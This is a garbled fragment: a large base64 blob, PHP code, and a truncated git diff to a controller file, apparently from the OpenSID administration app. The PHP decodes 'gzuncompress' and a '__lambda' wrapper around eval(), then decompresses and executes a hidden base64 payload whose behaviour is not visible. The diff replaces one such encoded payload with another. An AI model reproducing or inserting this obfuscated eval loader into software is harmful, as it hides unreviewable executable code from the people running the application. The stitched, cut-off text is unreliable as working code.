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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Program_bantuan.php b/donjo-app/controllers/Program_bantuan.php index 23c079500..6a9817340 100644 --- a/donjo-app/controllers/Program_bantuan.php +++ b/donjo-app/controllers/Program_bantuan.php @@ -268,7 +268,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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